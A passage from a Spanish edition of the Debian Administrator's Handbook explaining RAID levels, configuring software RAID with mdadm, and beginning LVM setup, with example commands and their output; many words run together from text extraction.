bloques en el sistema que pueden serutilizados tanto para crear sistemas dearchivos como espacios de intercambiosin necesidad de que se asocien a undisco físico concreto. RAID y LVMtienen orígenes bastante diferentes perosu funcionalidad a veces se solapa, porlo que a menudo se mencionan juntos.

PERSPECTIVA Btrfs combina LVM yRAID

Mientras que LVM y RAID son dossubsistemas diferenciados del núcleo quese interponen entre los dispositivos debloques de disco y sus sistemas dearchivos, btrfs es un nuevo sistema dearchivos, desarrollado originalmente porOracle, que combina las características de

Page 1359: El Libro Del Administrador de Debian - Raphael Hertzog

LVM, RAID y muchas más. Es funcionalen su mayor parte, pero aún estáetiquetado como «experimental» porquesu desarrollo aún está incompleto(algunas características todavía no estánimplementadas).

→ http://btrfs.wiki.kernel.org/

Entre las características más notables estáel poder tomar una instantánea delsistema de archivos en cualquiermomento. Esta copia instantánea noutiliza inicialmente espacio en el disco, ysólo se dupica aquella información que esmodificada en alguna de las copias. Estesistema de archivos también gestiona deforma transparente la compresión dearchivos y hace sumas de verificaciónpara garantizar la integridad de toda lainformación almacenada.

Page 1360: El Libro Del Administrador de Debian - Raphael Hertzog

Tanto en el caso de RAID como en elde LVM, el núcleo proporciona unarchivo de dispositivo de bloquessimilar a los que corresponden a undisco duro o una partición. Cuando unaaplicación u otra parte del núcleonecesita acceder a un bloque de estosdispositivos, el subsistema apropiadocanaliza el bloque a la capa físicaapropiada. Dependiendo de laconfiguración este bloque podría estaralmacenado en uno o varios discos, ysu localización puede no estardirectamente relacionada con laubicación del bloque en el dispositivológico.

Page 1361: El Libro Del Administrador de Debian - Raphael Hertzog

12.1.1. RAID porsoftwareRAID significa array redundante dediscos independientes («RedundantArray of Independent Disks»). Elobjetivo de este sistema es evitarpérdida de datos en caso que falle undisco duro. El principio general esbastante simple: se almacenan losdatos en varios discos físicos en lugarde sólo uno, con un nivel deredundancia configurable.Dependiendo de esta cantidad deredundancia, y aún en caso de falloinesperado del disco, se puedereconstruir los datos sin pérdida desde

Page 1362: El Libro Del Administrador de Debian - Raphael Hertzog

los discos restantes.

CULTURA ¿Independiente o económico?

La letra I en RAID era originalmenteinicial de económico («inexpensive»)debido a que RAID permitía un aumentodrástico en la seguridad de los datos sin lanecesidad de invertir en costosos discosde alta gama. Sin embargo,probablemente debido a preocupacionesde imagen, ahora se suele considerar quees inicial de independiente, lo que notiene el sabor amargo de implicarmezquindad.

Se puede implementar RAID tanto conhardware dedicado (módulos RAIDintegrados en las tarjetas controladoras

Page 1363: El Libro Del Administrador de Debian - Raphael Hertzog

SCSI o SATA) o por abstracción desoftware (el núcleo). Ya sea porhardware o software, un sistema RAIDcon suficiente redundancia puedemantenerse operativo de formatransparente cuando falle un disco; lascapas superiores (las aplicaciones)inclusive pueden seguir accediendo alos datos a pesar del fallo. Porsupuesto, este «modo degradado»puede tener un impacto en elrendimiento y se reduce la reduncancia,por lo que otro fallo de disco puedellevar a la pérdida de datos. En lapráctica por lo tanto, uno intentaráestar en este modo degradado sólo eltiempo que tome reemplazar el discofallado. Una vez que instale el nuevo

Page 1364: El Libro Del Administrador de Debian - Raphael Hertzog

disco, el sistema RAID puedereconstruir los datos necesarios paravolver a un modo seguro. Lasaplicaciones no notarán cambio alguno,además de la posible disminución en lavelocidad de acceso, mientras que elarray esté en modo degradado odurante la fase de reconstrucción.

12.1.1.1. Diferentes nivelesde RAID

En realidad, RAID tiene varios nivelesdiferenciados por su disposición y lacantidad de redundancia que proveen.Mientras más redundantes, más aprueba de fallos serán ya que el sistema

Page 1365: El Libro Del Administrador de Debian - Raphael Hertzog

podrá seguir funcionando con másdiscos fallados. Por el otro lado, elespacio utilizable disminuye; visto deotra forma, necesitará más discos paraalmacenar la misma cantidad de datos.

RAID lineal

Aún cuando el subsistema RAIDdel núcleo permite crear «RAIDlineal», esto no es RAIDpropiamente ya que estaconfiguración no proveeredundancia alguna. El núcleosimplemente agrupa varios discosde punta a punta y provee elvolúmen agrupado como un solodisco virtual (un dispositivo de

Page 1366: El Libro Del Administrador de Debian - Raphael Hertzog

bloque). Esa es toda su función.Rara vez se utiliza únicamenteesta configuración (revise másadelante las excepciones),especialmente debido a que lafalta de redundancia significa queel fallo de un disco hará que todoel grupo, y por lo tanto todos losdatos, no estén disponibles.

RAID-0

Este nivel tampoco proveeredundancia, pero los discos noestán simplemente agrupados unodespués del otro: están divididosen tiras («stripes»), y los bloquesen el dispositivo virtual son

Page 1367: El Libro Del Administrador de Debian - Raphael Hertzog

almacenados en tiras de discosfísicos alternados. En unaconfiguración RAID-0 de dosdiscos, por ejemplo, los bloquespares del dispositivo virtual seránalmacenados en el primer discofísico mientras que los bloquesimpares estarán en el segundodisco físico.

Este sistema no intenta aumentarla confiabilidad ya que (como enel caso lineal) se compromete ladisponibilidad de todos los datostan pronto como falle un disco,pero sí aumenta el rendimiento:durante el acceso secuencial agrandes cantidades de datos

Page 1368: El Libro Del Administrador de Debian - Raphael Hertzog

contiguos, el núcleo podrá leer de(o escribir a) ambos discos enparalelo, lo que aumentará la tasade transferencia de datos. Sinembargo, está disminuyendo eluso de RAID-0 en favor de LVM(revise más adelante).

RAID-1

Este nivel, también conocidocomo «espejado RAID»(«mirroring») es la configuraciónmás simple y la más utilizada. Ensu forma estándar, utiliza dosdiscos físicos del mismo tamaño yprovee un volúmen lógiconuevamente del mismo tamaño.

Page 1369: El Libro Del Administrador de Debian - Raphael Hertzog

Se almacenan los datos de formaidéntica en ambos discos, de ahí elapodo «espejo» («mirror»).Cuando falla un disco, los datoscontinúan disponibles en el otro.Para datos realmente críticos,obviamente, RAID-1 puedeconfigurarse con más de dosdiscos, con un impacto directo enla relación entre el costo delhardware y el espacio disponiblepara datos útiles.

NOTA Discos y tamaños de«cluster»

Si configura en espejo dos discos dediferentes tamaños, el más grandeno será completamente utilizado ya

Page 1370: El Libro Del Administrador de Debian - Raphael Hertzog

que contendrá los mismos datos queel más paqueño y nada más. Por lotanto, el espacio útil que provee unvolúmen RAID-1 es el tamaño delmenor de los discos en el array. Estotambién aplica a volúmenes RAIDde mayor nivel RAID, aún cuando laredundancia se almacene de formadiferente.

Por lo tanto es importante, cuandoconfigure arrays RAID (a excepciónde RAID-0 y «RAID lineal») sóloagrupar discos de tamaño idéntico,o muy similares, para evitardesperdiciar recursos.

NOTA Discos libres

Los niveles RAID que incluyen

Page 1371: El Libro Del Administrador de Debian - Raphael Hertzog

redundancia permiten asignar a unarray más discos que los necesarios.Los discos adicionales sonutilizados como repuestos cuandofalla alguno de los discosprincipales. Por ejemplo, en unespejo de dos discos más uno libre,si falla uno de los primeros discos elnúcleo automáticamente (einmediatamente) reconstruirá elespejo utilizando el disco libre paracontinuar asegurando laredundancia luego del tiempo dereconstrucción. Puede utilizar estacaracterística como otra barrera deseguridad para datos críticos.

Es normal preguntarse porqué estoes mejor que simplementeconfigurar el espejo con tres discosdesde el comienzo. La ventaja de la

Page 1372: El Libro Del Administrador de Debian - Raphael Hertzog

configuración con un «disco libre»es que puede compartir este últimoentre varios volúmenes RAID. Porejemplo, uno puede tener tresvolúmenes en espejo asegurandoredundancia en caso que falle undisco con sólo siete discos (trespares más un disco librecompartido), en lugar de los nuevediscos que necesitaría paraconfigurar tres tríos de discos.

Este nivel de RAID, aunquecostoso (debido a que sólo es útilla mitad del espacio dealmacenamiento en el mejor delos casos) es muy utilizado en lapráctica. Es simple de entender ypermite respaldos muy simples,

Page 1373: El Libro Del Administrador de Debian - Raphael Hertzog

como ambos discos tienen elmismo contenido puede extraertemporalmente uno de ellos sinimpactar el funcionamiento delsistema. Usualmente aumenta elrendimiento de lectura ya que elnúcleo puede leer la mitad de losdatos de cada disco en paralelo,mientras que el rendimiento deescritura no se ve afectado muyseriamente. En el caso de un arrayRAID-1 de N discos, los datoscontinuarán disponibles en casoque fallen N-1 discos.

RAID-4

Este nivel de RAID, que no es

Page 1374: El Libro Del Administrador de Debian - Raphael Hertzog

muy utilizado, utiliza N discospara almacenar datos útiles y undisco extra para almacenarinformación de redundancia. Sifalla este disco, el sistema puedereconstruir su contenido de losotros N. Si uno de los N discos dedatos falla, la combinación de losdemás N-1 discos junto con eldisco de «paridad» contienesuficiente información parareconstruir los datos necesarios.

RAID-4 no es demasiado costosoya que sólo implica un aumento deuno-en-N en los costos y no tieneun impacto significativo en elrendimiento de lectura, pero se

Page 1375: El Libro Del Administrador de Debian - Raphael Hertzog

reduce la velocidad de escritura.Lo que es más, debido a queescribir en cualquier discoinvolucra escribir en el disco deparidad este último recibirámuchas más escrituras que losdemás y, como consecuencia,podría reducir su tiempo de vidadramáticamente. Los datos en unarray RAID-4 están seguro sólocontra el fallo de un disco (de losN+1).

RAID-5

RAID-5 soluciona el problema deasimetría de RAID-4: los bloquesde paridad están distribuidos en

Page 1376: El Libro Del Administrador de Debian - Raphael Hertzog

todos los N+1 discos, ninguno delos discos tiene un rol particular.

El rendimiento de lectura yescritura es idéntica a la de RAID-4. Aquí también el sistemacontinuará su funcionamiento conel fallo de hasta un disco (de losN+1), pero no más.

RAID-6

Se puede considerar a RAID-6como una extensión de RAID-5,donde cada serie de N bloquesposeen dos bloques deredundancia, y cada serie de N+2bloques está distribuida en N+2discos.

Page 1377: El Libro Del Administrador de Debian - Raphael Hertzog

Este nivel de RAID es ligeramentemás costoso que los dosanteriores, pero agrega seguridadadicional ya que pueden fallarhasta dos discos (de N+2) sincomprometer la disponibilidad delos datos. Por el otro lado, lasoperaciones de escritura ahoradeben escribir un bloque de datosy dos bloques de redundancia, loque lo hace aún más lento.

RAID-1+0

Estrictamente hablando, este no esun nivel RAID sino lacombinación de dos agrupacionesRAID. Comience con 2×N discos,

Page 1378: El Libro Del Administrador de Debian - Raphael Hertzog

configúrelos en pares de Nvolúmenes RAID-1; y luegoagrupe estos N volúmenes en sólouno, ya sea con «RAID lineal» o(cada vez más) LVM. Este últimocaso va más allá de RAID puro,pero no hay problemas con ello.

RAID-1+o puede sobrevivir elfallo de varios discos, hasta N enel array de 2×N antes descripto,siempre que continúe trabajandoal menos uno de los discos en cadapar RAID-1.

YENDO MÁS ALLÁ RAID-10

Generalmente se considera a RAID-10 como sinónimo de RAID-1+0,

Page 1379: El Libro Del Administrador de Debian - Raphael Hertzog

pero algo específico de Linux lohace en realidad una generalización.Esta configuración permite unsistema en el que cada bloque estáalmacenado en dos discosdiferentes, aún con una cantidadimpar de discos, con las copiasdistribuidas en un modeloconfigurable.

El rendimiento variará dependiendodel modelo de reparto y el nivel deredundancia que seleccione, asícomo también de la carga en elvolúmen lógico.

Obviamente, seleccionará el nivelRAID según las limitaciones yrequisitos de cada aplicación. Sepa que

Page 1380: El Libro Del Administrador de Debian - Raphael Hertzog

un mismo equipo puede tener variosarrays RAID distintos con diferentesconfiguraciones.

12.1.1.2. Configuración deRAID

Para configurar un volúmen RAIDnecesitará el paquete mdamd ; ésteprovee el programa mdadm, quepermite crear y modificar arrays RAID,así como también scripts yherramientas que lo integran al restodel sistema, incluyendo el sistema demonitorización.

Nuestro ejemplo será un servidor con

Page 1381: El Libro Del Administrador de Debian - Raphael Hertzog

una cantidad de discos, algunos que yaestán utilizados, y el resto seencuentran disponibles para configurarRAID. Inicialmente tendremos lossiguientes discos y particiones:

el disco sda, de 4 GB,completamente disponible;el disco sde, de 4 GB, tambiéncompletamente disponible;en el disco sdg hay disponible unaúnica partición sdg2 (de alrededorde 4 GB);finalmente, un disco sdh, tambiénde 4 GB, completamentedisponible.

Utilizaremos estos elementos físicos

Page 1382: El Libro Del Administrador de Debian - Raphael Hertzog

para crear dos volúmenes, un RAID-0 yun espejo (RAID-1). Comencemos conel volúmen RAID-0:

NOTA Identificación de volúmenesRAID existentes

El archivo /proc/mdstat enumera losvolúmenes existentes y sus estados.Cuando cree volúmenes RAID, debe tenercuidado de no nombrarlos igual a algúnvolúmen existente.

# mdadm --create /dev/md0 --level=0 --raid-devices=2 /dev/sda /dev/sde

mdadm: Defaulting to version 1.2 metadata

mdadm: array /dev/md0 started.

# mdadm --query /dev/md0

/dev/md0: 8.00GiB raid0 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md0

/dev/md0:

Page 1383: El Libro Del Administrador de Debian - Raphael Hertzog

Version : 1.2

Creation Time : Thu Sep 30 15:21:15 2010

Raid Level : raid0

Array Size : 8388480 (8.00 GiB 8.59 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Thu Sep 30 15:21:15 2010

State : active

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Chunk Size : 512K

Name : squeeze:0 (local to host squeeze)

UUID : 0012a273:cbdb8b83:0ee15f7f:aec5e3c3

Events : 0

Number Major Minor RaidDevice State

Page 1384: El Libro Del Administrador de Debian - Raphael Hertzog

0 8 0 0 active sync /dev/sda

1 8 64 1 active sync /dev/sde

# mkfs.ext4 /dev/md0

mke2fs 1.41.12 (17-May-2010)

Filesystem label=

OS type: Linux

Block size=4096 (log=2)

Fragment size=4096 (log=2)

Stride=0 blocks, Stripe width=0 blocks

524288 inodes, 2097152 blocks

104857 blocks (5.00%) reserved for the super user

First data block=0

Maximum filesystem blocks=2147483648

55 block groups

32768 blocks per group, 32768 fragments per group

8160 inodes per group

Superblock backups stored on blocks:

32768, 98304, 163840, 229376, 294912, 819200, 884736, 1605632

Writing inode tables: done

Creating journal (32768 blocks): done

Page 1385: El Libro Del Administrador de Debian - Raphael Hertzog

Writing superblocks and filesystem accounting information: done

This filesystem will be automatically checked every 26 mounts or

180 days, whichever comes first. Use tune2fs -c or -i to override.

# mkdir /srv/raid-0

# mount /dev/md0 /srv/raid-0

# df -h /srv/raid-0

Filesystem Size Used Avail Use% Mounted on

/dev/md0 8.0G 249M 7.4G 4% /srv/raid-0

La orden mdadm --create necesitavarios parámetros: el nombre delvolúmen a crear (/dev/md*, donde MDes acrónimo de múltiples dispositivos— «Multiple Device»), el nivel RAID,la cantidad de discos (que esobligatorio a pesar de que sea sóloimportante con RAID-1 y superior), ylos dispositivos físicos a utilizar. Unavez que creó el dispositivo, podemos

Page 1386: El Libro Del Administrador de Debian - Raphael Hertzog

utilizarlo como si fuese una particiónnormal, crear un sistema de archivos enél, montarlo, etc. Sepa que el quecreáramos un volúmen RAID-0 comomd0 es sólo una coincidencia, lanumeración del array no tienecorrelación alguna con la cantidad deredundancia elegida.

Crear un RAID-1 es similar, lasdiferencias sólo son notables luego:

# mdadm --create /dev/md1 --level=1 --raid-devices=2 /dev/sdg2 /dev/sdh

mdadm: largest drive (/dev/sdg2) exceed size (4194240K) by more than 1%

Continue creating array? y

mdadm: array /dev/md1 started.

# mdadm --query /dev/md1

/dev/md1: 4.00GiB raid1 2 devices, 0 spares. Use mdadm --detail for more detail.

# mdadm --detail /dev/md1

/dev/md1:

Page 1387: El Libro Del Administrador de Debian - Raphael Hertzog

Version : 1.2

Creation Time : Thu Sep 30 15:39:13 2010

Raid Level : raid1

Array Size : 4194240 (4.00 GiB 4.29 GB)

Used Dev Size : 4194240 (4.00 GiB 4.29 GB)

Raid Devices : 2

Total Devices : 2

Persistence : Superblock is persistent

Update Time : Thu Sep 30 15:39:26 2010

State : active, resyncing

Active Devices : 2

Working Devices : 2

Failed Devices : 0

Spare Devices : 0

Rebuild Status : 10% complete

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 27

Page 1388: El Libro Del Administrador de Debian - Raphael Hertzog

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

1 8 112 1 active sync /dev/sdh

# mdadm --detail /dev/md1

/dev/md1:

[...]

State : active

[...]

SUGERENCIA RAID, discos yparticiones

Como muestra nuestro ejemplo, puedeconstruir dispositivos RAID conparticiones de discos, no necesita discoscompletos.

Son necesarios algunos comentarios.Primero, mdadm está al tanto que loselementos físicos tiene diferentes

Page 1389: El Libro Del Administrador de Debian - Raphael Hertzog

tamaños; se necesita confirmar ya queesto implicará que perderá espacio enel elemento más grande.

Lo que es más importante, revise elestado del espejo. El estado normal deun espejo RAID es que ambos discostengan el mismo contenido. Sinembargo, nada garantiza que este sea elcaso cuando se crea el volumen. Por lotanto, el subsistema RAID dará estagarantía por su cuenta y, tan prontocomo se crea el dispositivo RAID,habrá una fase de sincronización.Luego de un tiempo (cuántoexactamente dependerá del tamaño delos discos…), el array RAID cambiaráal estado «active» (activo). Sepa que

Page 1390: El Libro Del Administrador de Debian - Raphael Hertzog

durante esta fase de reconstrucción elespejo se encuentra en modo degradadoy no se asegura redundancia. Si falla undisco durante esta ventana de riesgopodrá perder toda la información. Sinembargo, rara vez se almacenangrandes cantidades de datos críticos enun array RAID creado recientementeantes de su sincronización inicial. Sepaque aún en modo degradado puedeutilizar /dev/md1 y puede crear en élun sistema de archivos así comotambién copiar datos.

SUGERENCIA Inicio de un espejo enmodo degradado

A veces no se encuentran inmediatamentedisponibles dos discos cuando uno desea

Page 1391: El Libro Del Administrador de Debian - Raphael Hertzog

iniciar un espejo RAID-1, por ejemploporque uno de los discos que uno planeautilizar está siendo utilizado y contienelos datos que uno quiere almacenar en elarray. En estas situaciones, es posiblecrear intencionalmente un array RAID-1degradado si se utiliza missing en lugardel archivo del dispositivo como uno delos parámetros de mdadm. Una vez quecopió los datos al «espejo», puedeagregar el disco antiguo al array. Luegoocurrirá la fase de sincronización,proveyendo la redundancia quedeseábamos en primer lugar.

SUGERENCIA Configuración de unespejo sin sincronización

Usualmente creará volúmenes RAID-1para ser utilizados como un disco nuevo,

Page 1392: El Libro Del Administrador de Debian - Raphael Hertzog

generalmente considerados en blanco. Elcontenido inicial del disco no esrealmente relevante, ya que uno sólonecesita saber que se podrán accederluego a los datos escritos luego quecreamos el volumen, en particular: elsistema de archivos.

Por lo tanto, uno podría preguntarse elsentido de sincronizar ambos discos almomento de crearlo. ¿Porqué importa si elcontenido es idéntico en las zonas delvolúmen que sabemos sólo seránaccedidas luego que escribamos en ellas?

Afortunadamente, puede evitar esta fasede sincronización con la opción --assume-clean de mdadm. Sin embargo,esta opción puede llevar a sorpresas encasos en el que se lean los datos iniciales(por ejemplo, si ya existe un sistema de

Page 1393: El Libro Del Administrador de Debian - Raphael Hertzog

archivos en los discos físicos), lo queexplica porqué no es activada de formapredeterminada.

Veamos ahora qué sucede cuando fallauno de los elementos del array RAID-1.mdadm, su opción --fail enparticular, permite simular tal fallo:

# mdadm /dev/md1 --fail /dev/sdh

mdadm: set /dev/sdh faulty in /dev/md1

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Thu Sep 30 15:45:50 2010

State : active, degraded

Active Devices : 1

Working Devices : 1

Failed Devices : 1

Spare Devices : 0

Page 1394: El Libro Del Administrador de Debian - Raphael Hertzog

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 35

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

1 0 0 1 removed

2 8 112 - faulty spare /dev/sdh

El contenido del volúmen continúaaccesible (y, si está montado, lasaplicaciones no lo notarán), pero ya nose asegura la seguridad de los datos: encaso que falle el disco sdg, perderá losdatos. Deseamos evitar este riesgo, porlo que reemplazaremos el disco fallidocon uno nuevo, sdi:

Page 1395: El Libro Del Administrador de Debian - Raphael Hertzog

# mdadm /dev/md1 --add /dev/sdi

mdadm: added /dev/sdi

# mdadm --detail /dev/md1

/dev/md1:

[...]

Raid Devices : 2

Total Devices : 3

Persistence : Superblock is persistent

Update Time : Thu Sep 30 15:52:29 2010

State : active, degraded, recovering

Active Devices : 1

Working Devices : 2

Failed Devices : 1

Spare Devices : 1

Rebuild Status : 45% complete

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 53

Page 1396: El Libro Del Administrador de Debian - Raphael Hertzog

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

3 8 128 1 spare rebuilding /dev/sdi

2 8 112 - faulty spare /dev/sdh

# [...]

[...]

# mdadm --detail /dev/md1

/dev/md1:

[...]

Update Time : Thu Sep 30 15:52:35 2010

State : active

Active Devices : 2

Working Devices : 2

Failed Devices : 1

Spare Devices : 0

Name : squeeze:1 (local to host squeeze)

UUID : 20a8419b:41612750:b9171cfe:00d9a432

Events : 71

Number Major Minor RaidDevice State

Page 1397: El Libro Del Administrador de Debian - Raphael Hertzog

0 8 98 0 active sync /dev/sdg2

1 8 128 1 active sync /dev/sdi

2 8 112 - faulty spare /dev/sdh

Nuevamente, el núcleoautomáticamente inicia una fase dereconstruciión durante la que elvolúmen, aunque continúa disponible,se encuentra en modo degradado. Unavez finalizada la reconstrucción, elarray RAID volverá a estado normal.Uno puede indicarle al sistema queeliminará el disco sdh del array, paraobtener un espejo RAID clásico en dosdiscos:

# mdadm /dev/md1 --remove /dev/sdh

mdadm: hot removed /dev/sdh from /dev/md1

# mdadm --detail /dev/md1

Page 1398: El Libro Del Administrador de Debian - Raphael Hertzog

/dev/md1:

[...]

Number Major Minor RaidDevice State

0 8 98 0 active sync /dev/sdg2

1 8 128 1 active sync /dev/sdi

De allí en adelante, puede quitarfísicamente el dispositivo la próximavez que se apague el servidor, oinclusive quitarlo en caliente si laconfiguración del hardware lo permite.Tales configuraciones incluyen algunoscontroladores SCSI, la mayoría de losdiscos SATA y discos externos USB oFirewire.

12.1.1.3. Respaldos de laconfiguración

Page 1399: El Libro Del Administrador de Debian - Raphael Hertzog

La mayoría de los metadatos de losvolúmenes RAID se almacenandirectamente en los discos quecomponen dichos arrays, de esa formael núcleo puede detectar el array y suscomponentes y ensamblarlosautomáticamente cuando inicia elsistema. Sin embargo, se recomiendarespaldar esta configuración ya queesta detección no es infalible y, comono podía ser de otra forma, fallaráprecisamente en las circunstancias mássensibles. En nuestro ejemplo, si elfallo del disco sdh hubiese sido real(en lugar de similada) y se hubiesereiniciado el sistema sin quitar el discosdh, éste podría ser utilizadonuevamente debido a haber sido

Page 1400: El Libro Del Administrador de Debian - Raphael Hertzog

probado durante el reinicio. El núcleoentonces tendría tres elementos físicos,cada uno de los cuales indica poseer lamitad del mismo volumen RAID. Otrafuente de confusión es cuando seconsolidan en un servidor volúmenesRAID de dos servidores. Si los arraysfuncionaban normalmente antes dequitar los discos, el núcleo podrádetectarlos y reconstruir los parescorrectamente; pero si los discosmudados se encontraban agrupadoscomo md1 en el antiguo servidor pero elnuevo servidor ya posee un grupo md1,se modificará el nombre de uno de losespejos.

Por lo tanto es importante respaldar la

Page 1401: El Libro Del Administrador de Debian - Raphael Hertzog

configuración, aunque sea tan sólocomo referencia. La forma estándar derealizarlo es editar el archivo/etc/mdadm/mdadm.conf, acontinuación un ejemplo del mismo:

Example 12.1. Archivo deconfiguración de mdadm# mdadm.conf

#

# Revise mdadm.conf(5) para más información sobre este archivo.

#

# de forma predeterminada, buscar superbloques MD en todas las

# particiones (/proc/partitions). Alternativamente, especifique los

# dispositivos a escanear, utilice comodines si es necesario.

DEVICE /dev/sd*

# crear dispositivos automáticamente con permisos estándar en Debian

CREATE owner=root group=disk mode=0660 auto=yes

Page 1402: El Libro Del Administrador de Debian - Raphael Hertzog

# etiquetar automáticamente arrays como locales al sistema

HOMEHOST <system>

# indicarle al demonio de monitorización que envíe correos de alerta

MAILADDR root

ARRAY /dev/md0 metadata=1.2 name=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3:c91f20ee

ARRAY /dev/md1 metadata=1.2 name=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00d9a432

Uno de los detalles más útiles es laopción DEVICE, que enumera losdispositivos en los que el sistemabuscará componentes de un volumenRAID automáticamente cuando inicia.En nuestro ejemplo, reemplazamos elvalor predeterminado, partitions,con una lista explícita de archivos dedispositivos, ya que para algunosvolúmenes elegimos utilizar discosenteros y no sólo particiones.

Page 1403: El Libro Del Administrador de Debian - Raphael Hertzog

Las dos últimas líneas en nuestroejemplo son las que le permiten alnúcleo seleccionar de forma segura quénúmero de volumen asignar a quéarray. Los metadatos almacenados enlos mismos discos son suficientes parareconstruir los volúmenes, pero no paradeterminar el número del mismo (y elnombre del dispositivo /dev/md*correspondiente).

Afortunadamente, puede generar estaslíneas automáticamente:

# mdadm --misc --detail --brief /dev/md?

ARRAY /dev/md0 metadata=1.2 name=squeeze:0 UUID=6194b63f:69a40eb5:a79b7ad3:c91f20ee

ARRAY /dev/md1 metadata=1.2 name=squeeze:1 UUID=20a8419b:41612750:b9171cfe:00d9a432

El contenido de estas dos últimas

Page 1404: El Libro Del Administrador de Debian - Raphael Hertzog

líneas no depende de la lista de discosincluidos en el volumen. Por lo tanto,no es necesario regenerar estas líneascuando reemplace un disco fallido conuno nuevo. Por el otro lado, debeasegurarse de actualizar el archivocuando cree o elimine un array RAID.

12.1.2. LVM, el gestor de volúmenes lógicos(«Logical Volume Manager»), es otraforma de abstraer volúmenes lógicosde su soporte físico, que se enfoca enmayor flexibilidad en lugar deaumentar confiabilidad. LVM permitemodificar un volumen lógico de forma

Page 1405: El Libro Del Administrador de Debian - Raphael Hertzog

transparente a las aplicaciones; porejemplo, es posible agregar nuevosdiscos, migrar sus datos y eliminardiscos antiguos sin desmontar elvolumen.

12.1.2.1. Conceptos de LVM

Se consigue esta flexibilidad con unnivel de abstracción que incluye tresconceptos.

Primero, el PV (volumen físico:«Physical Volume») es la entidad máscercana al hardware: pueden serparticiones en un disco, un discocompleto o inclusive cualquierdispositivo de bloque. Sepa que cuando

Page 1406: El Libro Del Administrador de Debian - Raphael Hertzog

configura un elemento físico como PVpara LVM, sólo debe acceder al mismoa través de LVM, de lo contrarioconfundirá al sistema.

Puede agrupar una cantidad de PVs enun VG (grupo de volúmenes: «VolumeGroup»), lo que puede compararse condiscos virtuales y extensibles. Los VGsson abstractos y no aparecerán como unarchivo de dispositivo en la jerarquía/dev, por lo que no hay riesgo deutilizarlos directamente.

El tercer tipo de objeto es el LV(volúmen lógico: «Logical Volume»),que es una porción de un VG; sicontinuamos con la analogía de un VG-

Page 1407: El Libro Del Administrador de Debian - Raphael Hertzog

como-disco, un LV se compara a unapartición. El LV será un dispositivo debloque que tendrá un elemento en /devy puede utilizarlo como lo haría concualquier partición física (usualmente,almacenar un sistema de archivos oespacio de intercambio).

Lo importante es que la división de unVG en varios LVs es completamenteindependiente de sus componentesfísicos (los PVs). Puede dividir un VGcon un sólo componente físico (undisco por ejemplo) en una docena devolúmenes lógicos; similarmente, unVG puede utilizar varios discos físicosy aparecer como sólo un volúmenlógico grande. La única limitación es

Page 1408: El Libro Del Administrador de Debian - Raphael Hertzog

que, obviamente, el tamaño totalasignado a un LV no puede ser mayorque la capacidad total de los PVs en elgrupo de volúmenes.

Generalmente tiene sentido, sinembargo, mantener el mismo tipo dehomogeneidad entre los componentesfísicos de un VG y dividir el VG envolúmenes lógicos que tendránpatrones de uso similares. Por ejemplo,si el hardware disponible incluyediscos rápidos y discos lentos, podríaagrupar los discos rápidos en un VG ylos lentos en otro; puede asignarpedazos del primero a aplicaciones quenecesiten acceso rápido a los datos ymantener el segundo para tareas menos

Page 1409: El Libro Del Administrador de Debian - Raphael Hertzog

exigentes.

En cualquier caso, recuerde que un LVno está asociado especialmente aningún PV. Es posible influenciardónde se almacenarán físicamente losdatos de un LV, pero esta posibilidadno es necesaria para el uso diario. Porel contrario, cuando evolucionan loscomponentes físicos de un VG, puedemigrar las ubicaciones físicas delalmacenamiento que corresponden a unLV particuar (siempre manteniéndosedentro de los PVs asignados al VG porsupuesto).

12.1.2.2. Configuración deLVM

Page 1410: El Libro Del Administrador de Debian - Raphael Hertzog

Sigamos ahora, paso a paso, el procesode configuración de LVM para un casode uso típico: deseamos simplificar unasituación compleja de almacenamiento.Situaciones como esta generalmenteocurren luego de una historia larga ycomplicada de medidas temporales quese acumulan. A modo ilustrativoutilizaremos un servidor en el que lasnecesidades de almacenamientocambiaron con el tiempo, lo queculminó en un laberinto de particionesdisponibles divididas en varios discosparcialmente utilizados. En términosmás concretos, están disponibles lassiguientes particiones:

en el disco sdb, una partición

Page 1411: El Libro Del Administrador de Debian - Raphael Hertzog

sdb2 de 4Gb;en el disco sdc, una particiónsdc3 de 3 GB;el disco sdd, de 4 GB,completamente disponible;en el disco sdf, una particiónsdf1 de 4 GB y una partición sdf2de 5GB.

Además, asumiremos que los discossdb y sdf son más rápidos que losotros dos.

Nuestro objetivo es configurar tresvolúmenes lógicos para tresaplicaciones diferentes: un servidor dearchivos que necesita 5 GB comoespacio de almacenamiento, una base

Page 1412: El Libro Del Administrador de Debian - Raphael Hertzog

de datos (1 GB) y un poco de espaciopara respaldos (12 GB). Los primerosdos necesitan buen rendimiento, perolos respaldos son menos críticos encuanto a velocidad de acceso. Todasestas limitaciones evitan quesimplemente utilicemos particiones;utilizar LVM puede abstraer el tamañofísico de los dispositivos, por lo que elúnico límite es el espacio totaldisponible.

El paquete lvm2 y sus dependenciascontienen las herramientas necesarias.Después de instalarlos, configurarLVM son tres pasos que coinciden conlos tres niveles de conceptos.

Page 1413: El Libro Del Administrador de Debian - Raphael Hertzog

Primero, prepararemos los volúmenesfísicos utilizando pvcreate:

# pvdisplay

# pvcreate /dev/sdb2

Physical volume "/dev/sdb2" successfully created

# pvdisplay

"/dev/sdb2" is a new physical volume of "4,00 GiB"

--- NEW Physical volume ---

PV Name /dev/sdb2

VG Name

PV Size 4.00 GiB

Allocatable NO

PE Size (KByte) 0

Total PE 0

Free PE 0

Allocated PE 0

PV UUID 9JuaGR-W7jc-pNgj-NU4l-2IX1-kUJ7-m8cRim

# for i in sdc3 sdd sdf1 sdf2 ; do pvcreate /dev/$i ; done

Physical volume "/dev/sdc3" successfully created

Page 1414: El Libro Del Administrador de Debian - Raphael Hertzog

Physical volume "/dev/sdd" successfully created

Physical volume "/dev/sdf1" successfully created

